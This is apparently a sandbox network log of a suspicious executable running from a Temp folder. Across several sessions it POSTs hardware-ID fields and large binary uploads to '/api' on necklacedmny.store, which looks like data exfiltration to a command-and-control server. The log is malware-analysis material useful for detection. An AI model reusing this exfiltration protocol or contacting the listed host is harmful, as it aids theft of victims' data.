2024-10-29 23:21:18 UTC	1369	IN	Data Raw: 2b 72 54 54 46 50 34 6c 77 30 31 78 44 53 4c 57 31 69 65 71 59 58 61 61 30 78 78 6e 2f 30 4c 64 57 6d 5a 34 72 72 61 64 41 2f 43 44 67 4b 59 4a 5a 39 77 44 4d 56 6c 49 4a 6e 62 57 4e 2b 39 34 51 38 4b 2f 41 66 34 48 55 73 45 75 52 6e 79 76 54 31 79 48 79 63 4c 56 6d 6f 47 72 45 4d 74 4e 57 41 47 71 78 70 70 62 33 6d 52 37 2b 39 34 78 6e 6d 62 57 37 55 59 79 64 49 35 54 56 5a 75 77 33 72 57 6a 46 61 59 6c 76 6e 56 42 49 57 37 61 35 6e 4c 53 59 55 4c 37 33 6e 32 6e 59 74 61 77 62 78 4d 4e 69 30 34 73 68 72 6e 43 71 4b 49 68 6d 79 6a 6e 65 51 31 42 4e 75 4b 43 59 76 36 42 67 6c 62 71 4e 49 73 2f 79 68 47 57 39 6d 6a 79 65 6c 6d 61 30 45 4f 6f 77 68 6c 6e 33 41 4d 78 57 55 67 6d 64 74 59 33 37 33 68 44 77 72 38 42 2f 67 64 53 77 53 35 47 66 4b 39 47 35 5a 75 Data Ascii: +rTTFP4lw01xDSLW1ieqYXaa0xxn/0LdWmZ4rradA/CDgKYJZ9wDMVlIJnbWN+94Q8K/Af4HUsEuRnyvT1yHycLVmoGrEMtNWAGqxppb3mR7+94xnmbW7UYydI5TVZuw3rWjFaYlvnVBIW7a5nLSYUL73n2nYtawbxMNi04shrnCqKIhmyjneQ1BNuKCYv6BglbqNIs/yhGW9mjyelma0EOowhln3AMxWUgmdtY373hDwr8B/gdSwS5GfK9G5Zu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	59792	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:19 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
2024-10-29 23:21:19 UTC	12840	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:21:20 UTC	1018	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3qtiutlh8eng5606po4reo2it; expires=Sat, 22 Feb 2025 17:07:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dngQT8dFmxMnDbOaEVOyAl35KFWWrYpwL6xpByfhCWa4pTvBhN%2FxGPltmG5TwzwHK8aYUYgZAn%2BEkBnoG4qaeqVoAN2iCX%2BsfhiKjY9rc1XtJ5WCpvMyHJCE4KLYH7KC%2FiXwXuM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6ba59d0e942-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2337&sent=9&recv=19&lost=0&retrans=0&sent_bytes=2845&recv_bytes=13782&delivery_rate=1254222&cwnd=251&unsent_bytes=0&cid=3d6566e1c39e29b7&ts=922&x=0"
2024-10-29 23:21:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	59793	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:21 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15082 Host: necklacedmny.store
2024-10-29 23:21:21 UTC	15082	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:21:22 UTC	1019	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l82o6ccmh8mv2icqcrgdtm30f6; expires=Sat, 22 Feb 2025 17:08:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Emgiivf5j4ZWTOqN4N2%2ByuVHIXNLsT88OlpNVY%2FASPli%2Bmak1eLMxo%2BRv21gjS6insZvcfuzbyenoiJUzPrRS3BMuf7KJz7Uh98c9nSLv15RFbu4U3AGlm2Qx7eoepuQ5UDuHWw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6c639a9e909-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1399&sent=11&recv=21&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16024&delivery_rate=2015309&cwnd=247&unsent_bytes=0&cid=ff345d191e26f85b&ts=986&x=0"
2024-10-29 23:21:22 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	59795	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:23 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20572 Host: necklacedmny.store
2024-10-29 23:21:23 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:21:23 UTC	5241	OUT	Data Raw: 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-10-29 23:21:24 UTC	1017	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=0pa0khjn8k8mopr3n1eiv7776j; expires=Sat, 22 Feb 2025 17:08:03 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=A1ljpQ6aHZGhCQD2pUrFg3jxe%2BUh9RyQjq0IxDGXhF%2BB9kgBJ4BEKl7i1gdqXBReOMZaXUJ0xN25Vtsp2SzJ3fYPPp%2FezV6ITfhsszVuJ9LklvVA62cir47I7Tsp7OM8pZ6yp4o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6d31aa32829-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2143&sent=11&recv=25&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21536&delivery_rate=1225560&cwnd=251&unsent_bytes=0&cid=33ddbd9b613f7654&ts=649&x=0"
2024-10-29 23:21:24 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:24 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	59798	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:25 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1261 Host: necklacedmny.store
2024-10-29 23:21:25 UTC	1261	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:21:26 UTC	1010	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 23:21:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ui3c29ddr37l3ajmkb4tinmokm; expires=Sat, 22 Feb 2025 17:08:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Sb2LNRHGo5iz5QxIn1GtOiPHADsZb7LG48aLlmlqNFwDojyxgaFsFhMKrhCBt9FTH1ios47la3UsnqLzRBQFGd4j8B1H%2FWhkfWmrjDeh2hZRF8gsZxTcyVjsq83kYIi34bJeWKw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8da6e6e16d8a2d2d-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1621&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2180&delivery_rate=1771253&cwnd=251&unsent_bytes=0&cid=e549b562eef9fae7&ts=487&x=0"
2024-10-29 23:21:26 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 32 0d 0a Data Ascii: 11ok 173.254.250.72
2024-10-29 23:21:26 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	59799	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1002487001\d816f1d41e.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 23:21:27 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566032 Host: necklacedmny.store
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 34 39 37 44 36 42 43 44 46 30 35 41 44 34 35 43 37 45 42 31 36 36 44 46 37 46 42 31 45 43 32 45 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"497D6BCDF05AD45C7EB166DF7FB1EC2E--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: f7 57 a6 e2 f7 11 8b e4 5c 8d 73 23 d1 fa 07 b2 a0 ba 02 df fd 84 fe c0 02 4d 72 02 68 56 18 b8 0c 02 7f 95 56 0c 22 c1 0b 7b a9 da d9 56 62 75 ed ad 19 8b 74 7f de df 2f 04 c1 c7 df 95 e5 af d4 60 9c 87 07 f5 bc 25 7f c6 f8 7f 21 35 e9 cb 9e 9d 08 93 d2 fe 97 df fd 47 aa fd bc 7e b9 3f f7 e7 07 7a 55 78 20 bb 22 4d 77 16 5d 61 25 17 59 8d 3b ff 03 28 4d 8f ff df ed 26 ff f7 01 1e a2 03 70 66 8a 02 ad 04 42 bf 21 2c d8 f8 a0 7d 34 a3 26 13 14 c6 3b 89 5e 68 e8 b7 0b c9 7e cc fd 19 23 84 f4 a7 b2 5e a7 ed 08 00 a9 46 5a 30 3c 3e d8 0b 76 c6 40 8f bd 21 7d 57 f6 9e 9e e6 60 8c 3b ad 51 1e 77 7c d5 59 0e 75 b9 c2 b9 63 b7 6d de 02 6a 89 94 80 70 fb a8 44 61 a6 af 79 ec a1 76 4e 24 1d 9d c4 f5 ba 97 22 7a 84 73 bd 1d 05 81 df af 4c 27 f7 d3 1a a7 4f d1 b9 3d Data Ascii: W\s#MrhVV"{Vbut/`%!5G~?zUx "Mw]a%Y;(M&pfB!,}4&;^h~#^FZ0<>v@!}W`;Qw\|YucmjpDayvN$"zsL'O=
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 45 be a3 b7 76 03 e4 ce 88 d1 ad 07 35 6b ef f2 46 b6 a7 33 97 ff d4 2d 58 b5 76 89 c2 5e b0 df 45 0a b0 10 00 77 a8 ea e1 f2 68 80 0f 31 e1 d1 4a bc 46 8e e8 5e 86 a7 d8 5c fb 48 e2 cf 94 2a 1b 51 99 79 1d ea 9c d5 08 36 47 71 d9 df 68 3b 37 84 3a 6f e8 87 a0 ef 12 7c 52 1d 2b d5 b0 f0 cb 88 f1 cc be 24 3c fb 79 85 bf 85 36 48 2b 0d b3 44 d0 f2 0a 11 80 ad 87 dd 19 14 66 3d 00 74 2b 83 ff 4d b2 73 c0 d2 0f 90 59 08 72 bf a4 1c 3c db 44 11 e4 ba 3d c9 ff 6f df 76 f9 54 f1 64 73 05 48 00 48 22 ef f9 dc e7 89 03 91 5d 1a 32 28 48 80 f5 41 5c 74 52 a4 03 38 ef 84 b3 14 47 a4 1d a0 43 a1 17 c0 c0 e3 6a a6 47 b1 45 c1 ab e6 fc 4b a7 ee cd c3 2e 18 ac c9 b6 dd 95 dd 57 10 37 d4 65 c0 03 cc d2 bd d1 c2 34 87 6c 54 b7 19 1c 13 34 1b 91 9e 32 a4 ed a8 62 2c e3 a3 Data Ascii: Ev5kF3-Xv^Ewh1JF^\H*Qy6Gqh;7:o\|R+$<y6H+Df=t+MsYr<D=ovTdsHH"]2(HA\tR8GCjGEK.W7e4lT42b,
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 31 a4 ec 35 fe a0 69 1f 61 d6 8a e1 23 e2 74 96 0e 21 3c f6 1e 91 71 ed df 65 a0 6e 3b 87 8f 7c 54 5e cf 72 49 88 ff a5 81 d4 f0 19 44 c7 28 74 67 68 98 ad fe 92 b7 e3 25 5c 99 48 9d 48 b3 ac 51 4f 09 77 e9 74 1d bb b4 95 ec 2b d2 8e d1 f8 d3 87 25 76 73 3c 15 c4 8e a4 a6 b1 3c 6a 77 a7 7b 38 3b 45 ec 10 d9 b4 50 41 be aa 15 b9 7a 86 ae 8a da b1 27 35 31 59 9d 35 31 33 5f cd ca 64 90 27 1a d2 ff e2 c2 87 50 fd 89 df b6 ec 07 19 e9 32 e1 97 cb 04 ea 2b b7 98 eb 23 63 31 33 fc d4 76 c2 d7 86 b3 5f 37 3b be 68 ec bb 25 49 4b 5d 7a 95 96 1e 62 86 40 40 50 4c ac 4c 81 0d e2 c2 b5 05 14 39 0c 82 98 32 e0 2a 56 57 12 22 6a 69 14 a8 3f 34 b9 7e 7e d4 74 cf 51 d0 cb 8f 51 4d e5 98 e7 83 0c 0a f5 f2 0f d3 8a f0 af fa 39 a5 7f fa 1a ea dc fe 20 0f ba ea b0 1f d6 b3 Data Ascii: 15ia#t!<qen;\|T^rID(tgh%\HHQOwt+%vs<<jw{8;EPAz'51Y513_d'P2+#c13v_7;h%IK]zb@@PLL92*VW"ji?4~~tQQM9
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 1d ff ff 6f c7 f8 df 25 99 1b 7c 2c 03 3f 4e 11 cc 41 01 1e 14 74 8a 8f 7a bd 01 89 8b 78 03 c1 76 44 d5 67 29 72 66 48 5c 57 ab 2d 17 e0 e1 94 99 83 e4 9c 2a a9 5e de 35 76 90 02 1d 45 d1 fd f0 2a 21 1e 2f c3 57 92 87 af 33 a4 09 74 dd cc f7 67 46 5f 8d 36 63 c2 0a 6f ab 5c 7c 54 12 f1 19 ad 3b 39 8b cc 29 82 0b ff e0 43 a0 cb dd 3c 54 6c 6b 46 95 80 20 34 86 29 47 47 a0 c8 aa 88 9f 37 0b cc 03 8e 97 9c d6 68 0e f1 5b 8f b6 27 b7 da 74 7f 81 08 e8 fb e2 a0 e3 57 f6 1a 50 8e a6 dc 6b 75 75 a2 ad 74 ea 6a b8 6d f5 4d ab 3b 2b 98 a4 d7 e1 5b 78 a3 74 65 60 ab e2 5f 0a 61 40 20 17 b4 6b 83 81 e2 07 5d 33 dc 4d 0a ce 0a 40 7e 74 64 d0 46 e1 7b 0b 47 e9 d0 9b 7a ab 81 70 cf bf 93 19 f6 85 96 fc 1c 3b 70 fd 34 01 8b 76 5d e1 86 14 1c 48 80 14 8b 10 e1 47 ec fc Data Ascii: o%\|,?NAtzxvDg)rfH\W-^5vE!/W3tgF_6co\\|T;9)C<TlkF 4)GG7h['tWPkuutjmM;+[xte`_a@ k]3M@~tdF{Gzp;p4v]HG
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: a2 5a 6a be 0d 6b 0f 11 eb 91 b4 d1 c2 1d 33 9f fb 29 7f 0a 65 06 bc 9d a3 82 af 3d 1a d5 18 20 71 f0 09 43 72 cd 5a 7f 9b 91 5d 02 71 94 f3 2c 35 ce 47 9a f1 ad 6d d4 d6 d4 2c b5 05 b5 4c b3 73 82 97 d2 a3 d2 05 26 1f 31 7e 56 23 fa ff 2c a5 2f a6 d2 ca 35 de 51 25 b4 94 6d eb 91 6d 56 67 a4 a2 e8 1a 25 f1 2b 8e fe b8 65 c5 3e d1 ca 4a 31 5b 69 20 21 5b 44 24 59 fa ed c4 d7 8f 85 2d bc 92 9f 8a 61 c0 ae d5 bc f5 ed 5e fa 2d ee 0b c7 c6 da 30 c6 f4 d6 b7 4a 78 1a d7 a1 0f 3b 71 3c 94 59 55 12 0f e5 ef ab 92 f8 1a 22 be b3 3f ff 29 54 67 ec 8c ab 7b df 4b f0 25 1d f5 dd ea 76 73 4e 93 7c b8 26 89 62 fc dd b2 f0 2d b8 62 cb 6e 83 99 63 19 22 3e 12 77 09 5c 19 4e 44 7d 24 5f 38 3d 91 a9 8e 87 66 63 46 6d 73 6a a2 b8 ee 11 29 1c 8d f3 2c 73 08 21 64 e4 40 9e Data Ascii: Zjk3)e= qCrZ]q,5Gm,Ls&1~V#,/5Q%mmVg%+e>J1[i ![D$Y-a^-0Jx;q<YU"?)Tg{K%vsN\|&b-bnc">w\ND}$_8=fcFmsj),s!d@
2024-10-29 23:21:27 UTC	15331	OUT	Data Raw: 75 56 e0 c8 60 cd 01 40 98 50 64 fd a8 96 12 31 5a ed 53 6f df 34 d9 2c 99 a4 46 dd b4 78 b4 3a 3f 30 b3 ba 5d 5e b3 dd a7 9a c0 e8 e6 e6 33 44 3b ab 43 6e e0 80 59 b2 a1 a0 d8 0b 31 f0 23 2a 4b 25 6e 80 a1 05 22 a6 f6 96 9f c5 81 1d 22 28 d9 c0 ab 2d d9 c7 4d 65 ed e9 33 26 a4 bb 01 b6 95 ab d9 cb 79 fa 59 dc 15 d7 ed 97 97 21 b0 3e fb 37 ef ec 5f 44 a0 63 80 64 08 9d ee e4 9e 87 a3 09 9c c5 c7 b3 ed c4 93 23 a7 e7 28 9a b8 db 4b 6b e1 9d 92 17 ce 38 df cf b1 c0 8b 54 2e 2d df 0c e0 e7 dc 95 bb 2d 73 4c c8 ea cb 45 ad 65 67 ee d5 47 8d 9e 3a a3 9b c9 a1 83 3d 23 e8 42 eb 0b be b5 36 b9 e3 5b f2 0f 7a 16 3e 42 48 f1 1a 40 b1 c6 d7 7e 84 ec c7 c6 5a ea 34 30 0c ed 5a 01 db d0 59 e4 7f 97 20 c6 bb ec 5c 76 a4 8a 34 3c 96 d1 84 fb 1f e8 62 02 26 7e a4 e6 8c Data Ascii: uV`@Pd1ZSo4,Fx:?0]^3D;CnY1#*K%n""(-Me3&yY!>7_Dcd#(Kk8T.--sLEegG:=#B6[z>BH@~Z40ZY \v4<b&~
